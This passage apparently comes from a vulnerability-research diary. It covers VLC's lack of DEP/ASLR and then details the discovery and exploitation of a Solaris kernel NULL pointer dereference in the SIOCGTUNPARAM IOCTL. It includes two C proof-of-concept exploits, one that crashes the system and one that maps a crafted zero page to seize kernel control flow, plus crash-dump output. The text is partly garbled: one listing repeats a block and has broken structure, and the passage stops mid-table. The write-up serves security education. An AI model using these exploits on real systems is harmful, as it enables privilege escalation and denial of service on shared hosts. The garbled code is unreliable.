To configure Process Explorer to show the processes’ DEP and ASLR status, I added the following columns to the view: View ➤ Select Columns ➤ DEP Status and View ➤ Select Columns ➤ ASLR Enabled. Additionally, I set the lower pane to view DLLs for a process and added the “ASLR Enabled” column.

The output of Process Explorer, illustrated in Figure 2-8, shows that VLC and its modules use neither DEP nor ASLR (this is denoted by an empty value in the DEP and ASLR columns). I investigated further to determine why the VLC process does not use these mitigation techniques.

![Figure 2-8: VLC in Process Explorer](image)

DEP can be controlled by system policy through special APIs and compile-time options (see Microsoft’s Security Research and Defense blog[^10] for more information on DEP). The default system-wide DEP policy for client operating systems such as Windows Vista is called OptIn. In this mode of operation, DEP is enabled only for processes that explicitly opt in to DEP. Because I used a default installation of Windows Vista 32-bit, the system-wide DEP policy should be set to OptIn. To verify this, I used the `bcdedit.exe` console application from an elevated command prompt:

```
C:\Windows\system32>bcedit /enum | findstr nx
nx                      OptIn
```

The output of the command shows that the system was indeed configured to use the OptIn operation mode of DEP, which explains why VLC doesn’t use this mitigation technique: The process simply doesn’t opt in to DEP.
There are different ways to opt a process in to DEP. For example, you could use the appropriate linker switch (/NXCOMPAT) at compile time, or you could use the SetProcessDEPPolicy API to allow an application to opt in to DEP programmatically.

To get an overview of the security-relevant compile-time options used by VLC, I scanned the executable files of the media player with LookingGlass (see Figure 2-9).¹¹

**NOTE** In 2009, Microsoft released a tool called BinScope Binary Analyzer, which analyzes binaries for a wide variety of security protections with a very straightforward and easy-to-use interface.¹²

LookingGlass showed that the linker switch for neither ASLR nor DEP was used to compile VLC.¹³ The Windows releases of VLC media player are built using the Cygwin¹⁴ environment, a set of utilities designed to provide the look and feel of Linux within the Windows operating system. Since the linker switches that I mentioned are supported only by Microsoft’s Visual C++ 2005 SP1 and later (and thus are not supported by Cygwin), it isn’t a big surprise that they aren’t supported by VLC.

![Figure 2-9: LookingGlass scan result of VLC](image)
See the following excerpt from the VLC build instructions:

[...]
Building VLC from the source code
=================================
[...]
- natively on Windows, using cygwin (www.cygwin.com) with or without the POSIX
emulation layer. This is the preferred way to compile vlc if you want to do it on
Windows.
[...]
UNSUPPORTED METHODS
-------------------
[...]
- natively on Windows, using Microsoft Visual Studio. This will not work.
[...]

At the time of this writing, VLC didn’t make use of any of the
exploit mitigation techniques provided by Windows Vista or later
releases. As a result, every bug in VLC under Windows is as easily
exploited today as 20 years ago, when none of these security features
were widely deployed or supported.

2.4 Lessons Learned
As a programmer:

• Never trust user input (this includes file data, network data, etc.).
• Never use unvalidated length or size values.
• Always make use of the exploit mitigation techniques offered by
  modern operating systems wherever possible. Under Windows,
  software has to be compiled with Microsoft’s Visual C++ 2005
  SP1 or later, and the appropriate compiler and linker options
  have to be used. In addition, Microsoft has released the Enhanced
  Mitigation Experience Toolkit,¹⁵ which allows specific mitigation tech-
  niques to be applied without recompilation.

As a user of media players:

• Don’t ever trust media file extensions (see Section 2.5 below).

2.5 Addendum

Monday, October 20, 2008

Since the vulnerability was fixed and a new version of VLC is now avail-
able, I released a detailed security advisory on my website (Figure 2-10
shows the timeline).¹⁶ The bug was assigned CVE-2008-4654.
According to the documentation provided by MITRE, Common Vulnerabilities and Exposures Identifiers (also called CVE names, CVE numbers, CVE-IDs, and CVEs) are “unique, common identifiers for publicly known information security vulnerabilities.”

Figure 2-10: Timeline of the vulnerability

Monday, January 5, 2009

In reaction to the bug and my detailed advisory, I got a lot of mail with various questions from worried VLC users. There were two questions that I saw over and over:

I have never heard of the TiVo media format before. Why would I ever open such an obscure media file?

Am I secure if I don’t open TiVo media files in VLC anymore?

These are valid questions, so I asked myself how I would normally learn about the format of a media file I downloaded via the Internet with no more information than the file extension. I could fire up a hex editor and have a look at the file header, but to be honest, I don’t think ordinary people would go to the trouble. But are file extensions trustworthy? No, they aren’t. The regular file extension for TiVo files is .ty. But what stops an attacker from changing the filename from fun.ty to fun.avi, fun.mov, fun.mkv, or whatever she likes? The file will still be opened and processed as a TiVo file by the media player, since VLC, like almost all media players, does not use file extensions to recognize the media format.

Notes


2. The vulnerable source code version of VLC can be downloaded at http://download.videolan.org/pub/videolan/vlc/0.9.4/vlc-0.9.4.tar.bz2.
3. Immunity Debugger is a great Windows debugger based on OllyDbg. It comes with a nice GUI and a lot of extra features and plug-ins to support bug hunting and exploit development. It can be found at http://www.immunityinc.com/products-immdbg.shtml.


5. See http://www.trapkit.de/books/bhd/.


7. The Git repository of VLC can be found at http://git.videolan.org/. The first fix issued for this bug can be downloaded from http://git.videolan.org/?p=vlc.git;a=commitdiff;h=26d92b87bba99b5ea2e17b7eaa39c462d65e9133.

8. The fix for the subsequent VLC bug that I found can be downloaded from http://git.videolan.org/?p=vlc.git;a=commitdiff;h=d859e6b9537af2d7326276f70de25a840f554dc3.


11. LookingGlass is a handy tool to scan a directory structure or the running processes to report which binaries do not make use of ASLR and NX. It can be found at http://www.erratasec.com/lookingglass.html.


16. My security advisory that describes the details of the VLC vulnerability can be found at http://www.trapkit.de/advisories/TKADV2008-010.txt.

Thursday, August 23, 2007

Dear Diary,

I’ve always been a big fan of vulnerabilities in operating system kernels because they’re usually quite interesting, very powerful, and tricky to exploit. I recently combed through several operating system kernels in search of bugs. One of the kernels that I searched through was the kernel of Sun Solaris. And guess what? I was successful. 😊

3.1 Vulnerability Discovery

Since the launch of OpenSolaris in June 2005, Sun has made most of its Solaris 10 operating system freely available as open source, including the kernel. So I downloaded the source code¹ and started reading the kernel code, focusing on the parts that implement the user-to-kernel interfaces, like IOCTLs and system calls.
NOTE  Input/output controls (IOCTLS) are used for communication between user-mode applications and the kernel.\textsuperscript{2}

The vulnerability that I found is one of the most interesting I’ve discovered because its cause—an undefined error condition—is unusual for an exploitable vulnerability (compared to the average overflow bugs). It affects the implementation of the SIOCGTUNPARAM IOCTL call, which is part of the IP-in-IP tunneling mechanism provided by the Solaris kernel.\textsuperscript{3}

I took the following steps to find the vulnerability:

- Step 1: List the IOCTLs of the kernel.
- Step 2: Identify the input data.
- Step 3: Trace the input data.

These steps are described in detail below.

**Step 1: List the IOCTLs of the Kernel**

There are different ways to generate a list of the IOCTLs of a kernel. In this case, I simply searched the kernel source code for the custom- ary IOCTL macros. Every IOCTL gets its own number, usually created by a macro. Depending on the IOCTL type, the Solaris kernel defines the following macros: _IOR, _IOW, and _IOWR. To list the IOCTLs, I changed to the directory where I unpacked the kernel source code and used the Unix `grep` command to search the code.

```
solaris$ pwd
/exports/home/tk/on-src/usr/src/uts

solaris$ grep -rnw -e _IOR -e _IOW -e _IOWR *

common/sys/sockio.h:208:#define SIOCTONLINK _IOWR('i', 145, struct sioc_addr req)
common/sys/sockio.h:210:#define SIOCTMYSITE _IOWR('i', 146, struct sioc_addr req)
common/sys/sockio.h:213:#define SIOCGBTUNPARAM _IOR('i', 147, struct iftun_req)
common/sys/sockio.h:216:#define SIOCSTUNPARAM _IOW('i', 148, struct iftun_req)
common/sys/sockio.h:220:#define SIOCFIPSECONFIG _IOW('i', 149, 0) /* Flush Policy */
common/sys/sockio.h:221:#define SIOCSIPSECONFIG _IOW('i', 150, 0) /* Set Policy */
common/sys/sockio.h:222:#define SIOCSTIPSECONFIG _IOW('i', 151, 0) /* Delete Policy */
common/sys/sockio.h:223:#define SIOCLIPSECONFIG _IOW('i', 152, 0) /* List Policy */
```

← Any user-to-kernel interface or API that results in information being passed over to the kernel for processing creates a potential attack vector. The most commonly used are:
- IOCTLs
- System calls
- Filesystems
- Network stack
- Hooks of third-party drivers
I now had a list of IOCTL names supported by the Solaris kernel. To find the source files that actually process these IOCTLs, I searched the whole kernel source for each IOCTL name on the list. Here is an example search for the SIOCTONLINK IOCTL:

```
solaris$ grep --include=*.c -rn SIOCTONLINK *
common/inet/ip/ip.c:1267:    /* 145 */ { SIOCTONLINK, sizeof (struct sioc_add rreq), →
IPI_GET_CMD,
```

**Step 2: Identify the Input Data**

The Solaris kernel provides different interfaces for IOCTL processing. The interface that is relevant for the vulnerability I found is a programming model called STREAMS. Intuitively, the fundamental STREAMS unit is called a Stream, which is a data transfer path between a process in user space and the kernel. All kernel-level input and output under STREAMS are based on STREAMS messages, which usually contain the following elements: a data buffer, a data block, and a message block. The data buffer is the location in memory where the actual data of the message is stored. The data block (struct datab) describes the data buffer. The message block (struct msgb) describes the data block and how the data is used.

The message block structure has the following public elements.

**Source code file** uts/common/sys/stream.h

```
[.]
367 /*
368 * Message block descriptor
369 */
370 typedef struct mblk_t {
371     struct msgb *b_next;
372     struct msgb *b_prev;
373     struct msgb *b_cont;
374     unsigned char *b_rptr;
375     unsigned char *b_wptr;
376     struct datab *b_datap;
377     unsigned char b_band;
378     unsigned char b_tag;
379     unsigned short b_flag;
380     queue_t *b_queue; /* for sync queues */
381 } mb...
[.]
```

The structure elements b_rptr and b_wptr specify the current read and write pointers in the data buffer pointed to by b_datap (see Figure 3-1).
When using the STREAMS model, the IOCTL input data is referenced by the `b_rptr` element of the `msgb` structure, or its typedef `mblk_t`. Another important component of the STREAMS model is the so-called *linked message blocks*. As described in the *STREAMS Programming Guide*, “[a] complex message can consist of several linked message blocks. If buffer size is limited or if processing expands the message, multiple message blocks are formed in the message” (see Figure 3-2).

---

**Figure 3-1:** Diagram of a simple STREAMS message

**Figure 3-2:** Diagram of linked STREAMS message blocks

---

**Step 3: Trace the Input Data**

I then took the list of IOCTLs and started reviewing the code. As usual, I searched the code for input data and then traced that data while looking for coding errors. After a few hours, I found the vulnerability.
When a SIOCGTUNPARAM IOCTL request is sent to the kernel, the function `ip_process_ioctl()` is called. In line 26717, the value of `ci.ci_ipif` is explicitly set to `NULL`. Because of the SIOCGTUNPARAM IOCTL call, the switch case `TUN_CMD` is chosen (see line 26735), and the function `ip_extract_tunreq()` is called (see line 26740).

Source code file  uts/common/inet/ip/ip_if.c  
Function  ip_extract_tunreq()  

[...]  
8158 /*  
8159 * Parse an iftun_req structure coming down SIOC[GS]TUNPARAM ioctls,  
8160 * refhold and return the associated ipif  
8161 */  
8162 /* ARGSUSED */  
8163 int  
8164 ip_extract_tunreq(queue_t *q, mblk_t *mp, const ip_ioctl_cmd_t *ipip,  
8165     cmd_info_t *ci, ipsq_func_t func)  
8166 {  
8167     boolean_t exists;  
8168     struct iftun_req *ta;  
8169     ipif_t *ipif;  
8170     ill_t *ill;  
8171     boolean_t isv6;  
8172     mblk_t *mp1;  
8173     int error;  
8174     conn_t *connp;  
8175     ip_stack_t *ipst;  
8176  
8177     /* Existence verified in ip_wput_nondata */  
8178     mp1 = mp->b_cont->b_cont;  
8179     ta = (struct iftun_req *)mp1->b_rptr;
In line 8178, a linked STREAMS message block is referenced, and on line 8179, the structure ta is filled with the user-controlled IOCTL data. Later on, the function ipif_lookup_on_name() is called (see line 8192). The first two parameters of ipif_lookup_on_name() derive from the user-controllable data of structure ta.

Source code file  uts/common/inet/ip/ip_if.c

Function  ipif_lookup_on_name()
* are also rejected as they introduce ambiguity
* in the naming of the interfaces.
* In order to confirm with existing semantics,
* and to not break any programs/script relying
* on that behaviour, if<0>:0 is considered to be
* a valid interface.

* If alias has two or more digits and the first
* is zero, fail.

```c
    return (NULL);
```

In line 19139, the value of error is explicitly set to 0. Then in line 19161, the interface name provided by the user-controlled IOCTL data is checked for the presence of a colon (IPIF_SEPARATOR_CHAR is defined as a colon). If a colon is found in the name, the bytes after the colon are treated as an interface alias. If an alias has two or more digits and the first is zero (ASCII zero or hexadecimal 0x30; see line 19175), the function ipif_lookup_on_name() returns to ip_extract_tunreq() with a return value of NULL, and the variable error is still set to 0 (see lines 19139 and 19176).

**Source code file** uts/common/inet/ip/ip_if.c

**Function** ip_extract_tunreq()

```c
ipif = ipif_lookup_on_name(ta->ifta_lifr_name,
mi_strlen(ta->ifta_lifr_name), B_FALSE, &exists, isv6,
connp->conn_zoneid, CONNP_TO_WQ(connp), mp, func, &error, ipst);
if (ipif == NULL)
    return (error);
```

Back in ip_extract_tunreq(), the pointer ipif is set to NULL if ipif_lookup_on_name() returns that value (see line 8192). Since ipif is NULL, the if statement in line 8195 returns TRUE, and line 8196 is executed. The ip_extract_tunreq() function then returns to ip_process_ioctl() with error as a return value, which is still set to 0.

**Source code file** uts/common/inet/ip/ip.c

**Function** ip_process_ioctl()

```c
26717  ci.ci_ipif = NULL;
26735  case TUN_CMD:
```
/* SIOC[GS]TUNPARAM appear here. ip_extract_tunreq returns
 * a refheld ipif in ci.ci_ipif */

err = ip_extract_tunreq(q, mp, &ci.ci_ipif, ip_process_ioctl);
if (err != 0) {
    ip_ioctl_finish(q, mp, err, IPI2MODE(ipip), NULL);
    return;
}

err = (*ipip->ipi_func)(ci.ci_ipif, ci.ci_sin, q, mp, ipip,
        ci.ci_lifr);

Back in ip_process_ioctl(), the variable err is set to 0 since
ip_extract_tunreq() returns that value (see line 26740). Because
err equals 0, the if statement in line 26741 returns FALSE, and lines 26742
and 26743 are not executed. In line 26788, the function pointed to by
ipip->ipi_func—in this case the function ip_sioctl_tunparam()—is called
while the first parameter, ci.ci_ipif, is still set to NULL (see line 26717).

Source code file  uts/common/inet/ip/ip_if.c

Function  ip_sioctl_tunparam()

Since the first parameter of ip_sioctl_tunparam() is NULL, the refer-
ence ipif->ipif_ill in line 9432 can be represented as NULL->ipif_ill,
which is a classic NULL pointer dereference. If this NULL pointer
derereference is triggered, the whole system will crash due to a ker-
nel panic. (See Section A.2 for more information on NULL pointer
derereferences.)

Summary of the results so far:

- An unprivileged user of a Solaris system can call the SIOCGTUNPARAM
  IOCTL (see (1) in Figure 3-3).
- If the IOCTL data sent to the kernel is carefully crafted—there
  has to be an interface name with a colon directly followed by an
  ASCII zero and another arbitrary digit—it’s possible to trigger a
  NULL pointer dereference (see (2) in Figure 3-3) that leads to a
  system crash (see (3) in Figure 3-3).
But why is it possible to trigger that NULL pointer dereference? Where exactly is the coding error that leads to the bug?

The problem is that `ipif_lookup_on_name()` can be forced to return to its caller function without an appropriate error condition being set.

This bug exists in part because the `ipif_lookup_on_name()` function reports error conditions to its caller in two different ways: through the return value of the function (`return (null)`) as well as through the variable error (`*error != 0`). Each time the function is called, the authors of the kernel code must ensure that both error conditions are properly set and are properly evaluated within the caller function. Such a coding style is error-prone and therefore not recommended. The vulnerability described in this chapter is an excellent example of the kind of problem that can arise from such code.

**Figure 3-3**: Summary of the results so far. An unprivileged user can force a system crash by triggering a NULL pointer dereference in the Solaris kernel.

**Source code file** uts/common/inet/ip/ip_if.c

**Function** `ipif_lookup_on_name()`

```c
19124 static ipif_t *
19125 ipif_lookup_on_name(char *name, size_t namelen, boolean_t do_alloc,
19126     boolean_t *exists, boolean_t isv6, zoneid_t zoneid, queue_t *q,
19127     mblk_t *mp, ipsq_func_t func, int *error, ip_stack_t *ipst)
19128 {
19129     if (error != NULL)
19130         *error = 0;
19131     if (*cp == IPIF_SEPARATOR_CHAR) {
19132         /* Reject any non-decimal aliases for logical
19133            interfaces. Aliases with leading zeroes
```
are also rejected as they introduce ambiguity in the naming of the interfaces.

In order to confirm with existing semantics, and to not break any programs/script relying on that behaviour, if<0>:0 is considered to be a valid interface.

If alias has two or more digits and the first is zero, fail.

```c
    return (NULL);
```

In line 19139, the value of error, which holds one of the error conditions, is explicitly set to 0. Error condition 0 means that no error has occurred so far. By supplying a colon directly followed by an ASCII zero and an arbitrary digit in the interface name, it is possible to trigger the code in line 19176, which leads to a return to the caller function. The problem is that no valid error condition is set for error before the function returns. So ipif_lookup_on_name() returns to ip_extract_tunreq() with error still set to 0.

Source code file  uts/common/inet/ip/ip_if.c

Function  ip_extract_tunreq()

```c
ipif = ipif_lookup_on_name(ta->ifta_lifr_name,
     mi_strlen(ta->ifta_lifr_name), B_FALSE, &exists, isv6,
     connp->conn_zoneid, CONNP_TO_WQ(connp), mp, func, &error, ipst);
if (ipif == NULL)
    return (error);
```

Back in ip_extract_tunreq(), the error condition is returned to its caller function ip_process_ioctl() (see line 8196).

Source code file  uts/common/inet/ip/ip.c

Function  ip_process_ioctl()

```c
err = ip_extract_tunreq(q, mp, &ci.ci_ipif, ip_process_ioctl);
if (err != 0) {
    ip_ioctl_finish(q, mp, err, IPI2MODE(ipip), NULL);
    return;
}
```
Then in `ip_process_ioctl()`, the error condition is still set to 0. Thus, the `if` statement in line 26741 returns `FALSE`, and the kernel continues the execution of the rest of the function leading to the NULL pointer dereference in `ip_ioctl_tunparam()`.

What a nice bug!

Figure 3-4 shows a call graph summarizing the relationships of the functions involved in the NULL pointer dereference bug.

![Call Graph](image.png)

Figure 3-4: Call graph summarizing the relationships of the functions involved in the NULL pointer dereference bug. The numbers shown refer to the chronological order of events.

### 3.2 Exploitation

Exploiting this bug was an exciting challenge. NULL pointer dereferences are usually labeled as unexploitable bugs because they can generally be used for a denial-of-service attack but not for arbitrary code execution. However, this NULL pointer dereference is different, as it can be successfully exploited for arbitrary code execution at the kernel level.

To exploit the vulnerability, I performed the following steps:

1. Trigger the NULL pointer dereference for a denial of service.
2. Use the zero page to get control over EIP/RIP.

**Step 1: Trigger the NULL Pointer Dereference for a Denial of Service**

To trigger the NULL pointer dereference, I wrote the following proof-of-concept (POC) code (see Listing 3-1).
#include <stdio.h>
#include <fcntl.h>
#include <sys/syscall.h>
#include <errno.h>
#include <sys/sockio.h>
#include <net/if.h>

int main (void) {
    int fd = 0;
    char data[32];
    fd = open("/dev/arp", O_RDWR);
    if (fd < 0) {
        perror("open");
        return 1;
    }
    data[0] = 0x3a; // colon
    data[1] = 0x30; // ASCII zero
    data[2] = 0x31; // digit 1
    data[3] = 0x00; // NULL termination
    syscall(SYS_ioctl, fd, SIOCGTUNPARAM, data);
    printf("poc failed\n");
    close (fd);
    return 0;
}

Listing 3-1: Proof-of-concept code (poc.c) that I wrote to trigger the NULL pointer dereference bug I found in Solaris

The POC code first opens the kernel network device /dev/arp (see line 14). Note that the devices /dev/tcp and /dev/udp also support the SIOCGTUNPARAM IOCTL and could therefore be used instead of /dev/arp. Next, the IOCTL data is prepared (see lines 22–25). The data consists of an interface name with invalid alias :01 to trigger the bug. Finally the SIOCGTUNPARAM IOCTL is called and the IOCTL data is sent to the kernel (see line 28).

I then compiled and tested the POC code as an unprivileged user on a Solaris 10 64-bit system:

solaris$ isainfo -b
64
solaris$ id
uid=100(wwwuser) gid=1(other)
The system crashed immediately and rebooted. After the reboot, I logged in as root and inspected the kernel crash files with the help of Solaris Modular Debugger (mdb)\(^8\) (see Section B.1 for a description of the following debugger commands):

```
solaris$ id
uid=0(root) gid=0(root)
solaris$ hostname
bob
solaris$ cd /var/crash/bob/
solaris$ ls
bounds unix.0 vmcore.0
solaris$ mdb unix.0 vmcore.0
Loading modules: [ unix krtld genunix specfs dtrace cpu.generic uppc pcplusmp ufs ip hook neti sctp arp usba fcp fctl nca lofs mpt zfs random sppp audiosup nfs ptm md cpc crypto fcip logindmux ]
> ::msgbuf
[..]
panic[cpu0]/thread=ffffffff87d143a0:
BAD TRAP: type=e (#pf Page fault) rp=fffffe8000f7e5a0 addr=8 occurred in module "ip" due to a NULL pointer dereference
poc: #pf Page fault
Bad kernel fault at addr=0x8
pid=1380, pc=0xfffffffff6314c7c, sp=0xfffffffff600f7e690, eflags=0x10282
   cr0: 80050033<pg,wp,ne,et,mp,pe> cr4: 6b0<xmme,fxsr,pge,pae,pse>
   cr2: 8   cr3: 21a2a000 cr7: c
   rdi: 0   rsi: ffffffff86bc0700 rdx: ffffffff86bc09c8
   rcx: 0   r8: ffffffffbd0f780   r9: ffffffff8000f7e690
   rax: c   rbx: ffffffff883ff200   rbp: ffffffff8000f7e6d0
   r10: 1   r11: 0   r12: ffffffff8661f380
   r13: 0   r14: ffffffff8661f380   r15: ffffffff819f5b40
   fsb: ffffffff7ff220200   gsb: ffffffffbb27fc0   ds: 0
   es: 0   fs: 1bb   gs: 0
   trp: e   err: 0   rip: ffffffff6314c7c
   cs: 28   rfl: 10282   rsp: ffffffff8000f7e690
   ss: 30
```

I used the ::msgbuf debugger command to display the message buffer, including all console messages up to the kernel panic:
The debugger output shows that the kernel panic happened due to a NULL pointer dereference at address 0xfffffffff6314c7c (see the value of the RIP register). Next, I asked the debugger to display the instruction at that address:

```bash
> 0xfffffffff6314c7c::dis
ip_sioctl_tunparam+0x30:        jg     +0xf0    <ip_sioctl_tunparam+0x120>
ip_sioctl_tunparam+0x36:        movq   0x28(%r12),%rax
ip_sioctl_tunparam+0x3b:        movq   0x28(%rbx),%rbx
ip_sioctl_tunparam+0x3f:        movq   %r12,%rdi
ip_sioctl_tunparam+0x42:        movb   $0xe,0x19(%rax)
ip_sioctl_tunparam+0x46:        call   +0x5712cfa       <copymsg>
ip_sioctl_tunparam+0x4b:        movq   %rax,%r15
ip_sioctl_tunparam+0x4e:        movl   $0xc,%eax
ip_sioctl_tunparam+0x53:        testq  %r15,%r15
ip_sioctl_tunparam+0x56:        je     +0x9d    <ip_sioctl_tunparam+0xf3>
ip_sioctl_tunparam+0x5c:        movq   0x8(%r13),%r14
[...]
```

The crash was caused by the instruction `movq 0x8(%r13),%r14` at address `ip_sioctl_tunparam+0x5c`. The instruction tried to reference the value pointed to by register `r13`. As the debugger output of the `::msgbuf` command shows, `r13` had the value 0 at the time of the crash. So the assembler instruction is equivalent to the NULL pointer dereference that happens in `ip_sioctl_tunparam()` (see line 9432 in the following code snippet).
I was able to demonstrate that this bug can be successfully exploited by an unprivileged user to crash the system. Because all Solaris Zones share the same kernel, it’s also possible to crash the whole system (all zones), even if the vulnerability is triggered in an unprivileged, non-global zone (see Section C.3 for more information on the Solaris Zones technology). Any hosting provider using the Solaris Zones functionality could be greatly impacted if it were exploited by someone with malicious intent.

**Step 2: Use the Zero Page to Get Control over EIP/RIP**

After I was able to crash the system, I decided to attempt arbitrary code execution. To do this, I had to solve the following two problems:

- Prevent the system from crashing as the NULL pointer dereference gets triggered.
- Take control over EIP/RIP.

The system crash is caused by the NULL pointer dereference. As the zero or NULL page is normally not mapped, the dereference leads to an access violation that crashes the system (see also Section A.2). All I had to do to prevent the system from crashing was to map the zero page before triggering the NULL pointer dereference. This can be done easily on the x86 and AMD64 architecture, because Solaris segregates the virtual address space of processes on these platforms into two parts: user space and kernel space (see Figure 3-5). User space is where all user-mode applications run, while kernel space is where the kernel itself, as well as kernel extensions (e.g., drivers), run. However, the kernel and the user space of a process share the same zero page.³

**NOTE** Each user-mode address space is unique to a particular process, while the kernel address space is shared across all processes. Mapping the NULL page in one process only causes it to be mapped in that process’s address space only.
By mapping the zero page before triggering the NULL pointer dereference, I was able to prevent the system from crashing. That got me to the next problem: How to gain control over EIP/RIP? The only data that was under my full control was the IOCTL data sent to the kernel and the user-space data of a process, including the zero page. The only way to get control was to make the kernel reference some data from the zero page that would later be used to control the execution flow of the kernel. I thought that approach would not work, but I was wrong.

Source code file  uts/common/inet/ip/ip_if.c

Function  ip_sioctl_tunparam()
The NULL pointer dereference happens in line 9432, when `ipif` is forced to be `NULL`. This leads to the system crash. But if the zero page is mapped before `NULL` is dereferenced, the access violation won’t be triggered, and the system won’t crash. Instead, the value of the `ill` structure is determined while referencing valid user-controlled data from the zero page. Therefore, all values of the `ill` structure can be controlled by carefully crafting the zero page data. I was pleased to find that in line 9446, the function `putnext()` is called with the user-controllable value of `ill->ill_wq` as a parameter.

**Source code file**  uts/common/os/putnext.c

**Function**  `putnext()`

The user can fully control the data of the first function parameter of `putnext()`, which means that the values of `qp`, `sq`, and `qi` can also be controlled through the data of the mapped zero page (see lines 176, 177, and 180). Furthermore, the user can control the value of the function pointer declared in line 154 (see line 273). This function pointer is then called in line 277.

So, in summary, if the data of the mapped zero page is carefully crafted, it’s possible to take control of a function pointer, thereby...
gaining full control over EIP/RIP and resulting in arbitrary code execution at the kernel level.

I used the following POC code to gain control over EIP/RIP:

```c
#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/syscall.h>
#include <sys/sockio.h>
#include <netinet/if.h>
#include <sys/mman.h>

/////////////////////////////////////////////
// Map the zero page and fill it with the necessary data
int map_null_page (void)
{
  void * mem = (void *)-1;

  // map the zero page
  mem = mmap (NULL, PAGESIZE, PROT_EXEC|PROT_READ|PROT_WRITE,
              MAP_FIXED|MAP_PRIVATE|MAP_ANON, -1, 0);

  if (mem != NULL) {
    printf("failed\n");
    fflush (0);
    perror("[-] ERROR: mmap");
    return 1;
  }

  // fill the zero page with zeros
  memset (mem, 0x00, PAGESIZE);

  /////////////////////////////////////////////
  // zero page data

  // qi->qi_putp
  *(unsigned long long *)0x00 = 0x0000000041414141;

  // ipif-ipif_ill
  *(unsigned long long *)0x08 = 0x0000000000000010;

  // start of ill struct (ill->ill_ptr)
  *(unsigned long long *)0x10 = 0x0000000000000000;

  // ill->rq
  *(unsigned long long *)0x18 = 0x0000000000000000;

  // ill->wq (sets address for qp struct)
  *(unsigned long long *)0x20 = 0x0000000000000028;

  // start of qp struct (qp->q_info)
  *(unsigned long long *)0x28 = 0x0000000000000000;

  // qp->q_first
```
*(unsigned long long *)0x30 = 0x0000000000000000;

// qp->q_last
*(unsigned long long *)0x38 = 0x0000000000000000;

// qp->q_next (points to the start of qp struct)
*(unsigned long long *)0x40 = 0x0000000000000028;

// qp->q_syncq
*(unsigned long long *)0xa0 = 0x00000000000007d0;

return 0;
}

void status (void)
{
    unsigned long long  i = 0;

    printf ("[+] PAGESIZE: %d\n", (int)PAGESIZE);
    printf ("[+] Zero page data:\n");  
    for (i = 0; i <= 0x40; i += 0x8)
        printf ("... 0x%02x: 0x%016llx\n", i, *(unsigned long long*)i);
    printf ("... 0xa0: 0x%016llx\n", *(unsigned long long*)0xa0);
    printf ("[+] The bug will be triggered in 2 seconds..\n");
    fflush (0);
}

main (void)
{
    int fd = 0;
    char data[32];

    ////////////////////////////////////////////////
    // Opening the '/dev/arp' device
    printf ("[+] Opening '/dev/arp' device .. ");
    fd = open ("/dev/arp", O_RDWR);
    if (fd < 0) {
        printf ("failed\n");
        fflush (0);
        perror ("[-] ERROR: open");
        return 1;
    }

    ////////////////////////////////////////////////
    // Map the zero page
    printf ("[+] Trying to map zero page .. ");
    if (map_null_page () == 1) {
        printf ("OK\n");

    ///////////////////////////////////////////////////////////////////////////////////////////
    // Map the zero page
    printf ("[+] Trying to map zero page .. ");
    if (map_null_page () == 1) {

return 1;
}

printf ("OK\n");

>Status messages
status ();
sleep (2);

>Status messages

// I/OCTL request data (interface name with invalid alias ':01')
data[0] = 0x3a; // colon
data[1] = 0x30; // ASCII zero
data[2] = 0x31; // the digit '1'
data[3] = 0x00; // NULL termination

// I/OCTL request
syscall (SYS_ioctl, fd, SIOCGTUNPARAM, data);

printf ("[-] ERROR: triggering the NULL ptr deref failed\n");
close (fd);
return 0;
}

Listing 3-2: POC code (poc2.c) used to gain control of EIP/RIP and thereby achieve arbitrary code execution at the kernel.

In line 19 of Listing 3-2, the zero page is mapped using \texttt{mmap()}. But the most interesting part of the POC code is the layout of the zero page data (see lines 32–63). Figure 3-6 illustrates the relevant parts of this layout.

![Figure 3-6: Data layout of the zero page](image-url)
The left-hand side of Figure 3-6 shows the offsets into the zero page. The middle lists the actual values of the zero page. The right-hand side shows the references the kernel makes into the zero page. Table 3-1 describes the zero page data layout illustrated in Figure 3-6.

### Table 3-1: Description of the Zero Page Data Layout

<table>
<thead>
<tr>
<th>Function/Line of code</th>
<th>Data referenced by the kernel</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>ip_ioctl_tunparam()</strong></td>
<td>ill = ipif-&gt;ipif_ill;</td>
<td><strong>ipif</strong> is NULL, and the offset of <strong>ipif_ill</strong> within the <strong>ipif</strong> structure is 0x8. Therefore, <strong>ipif-&gt;ipif_ill</strong> references address 0x8. The value at address 0x8 is assigned to <strong>ill</strong>. So the <strong>ill</strong> structure starts at address 0x10 (see (1) in Figure 3-6).</td>
</tr>
<tr>
<td>9432</td>
<td>putnext(ill-&gt;ill_wq, mp1);</td>
<td>The value of <strong>ill-&gt;ill_wq</strong> is used as a parameter for <strong>putnext()</strong>. The offset of <strong>ill_wq</strong> inside the <strong>ill</strong> structure is 0x10. The <strong>ill</strong> structure starts at address 0x10, so <strong>ill-&gt;ill_wq</strong> is referenced at address 0x20.</td>
</tr>
<tr>
<td>putnext() 147</td>
<td>putnext(queue_t *qp, mblk_t *mp)</td>
<td>The address of <strong>qp</strong> equals the value pointed to by <strong>ill-&gt;ill_wq</strong>. Therefore, <strong>qp</strong> starts at address 0x28 (see (2) in Figure 3-6).</td>
</tr>
<tr>
<td>putnext() 176</td>
<td>qp = qp-&gt;q_next;</td>
<td>The offset of <strong>q_next</strong> inside the <strong>qp</strong> structure is 0x18. Therefore, the next <strong>qp</strong> gets assigned the value from address 0x40: the start address of <strong>qp</strong> (0x28) + offset of <strong>q_next</strong> (0x18). The value at address 0x40 is again 0x28, so the next <strong>qp</strong> structure starts at the same address as the one before (see (3) in Figure 3-6).</td>
</tr>
<tr>
<td>putnext() 177</td>
<td>sq = qp-&gt;q_syncq;</td>
<td>The offset of <strong>q_syncq</strong> inside the <strong>qp</strong> structure is 0x78. Since <strong>q_syncq</strong> is referenced later, it has to point to a valid memory address. I chose 0x7d0, which is an address in the mapped zero page.</td>
</tr>
<tr>
<td>putnext() 180</td>
<td>qi = qp-&gt;q_qinfo;</td>
<td>The value of <strong>qp-&gt;q_qinfo</strong> is assigned to <strong>qi</strong>. The offset of <strong>q_qinfo</strong> inside the <strong>qp</strong> structure is 0x0. Since the <strong>qp</strong> structure starts at address 0x28, the value 0x0 is assigned to <strong>qi</strong> (see (4) in Figure 3-6).</td>
</tr>
<tr>
<td>putnext() 273</td>
<td>putproc = qi-&gt;qi_putp;</td>
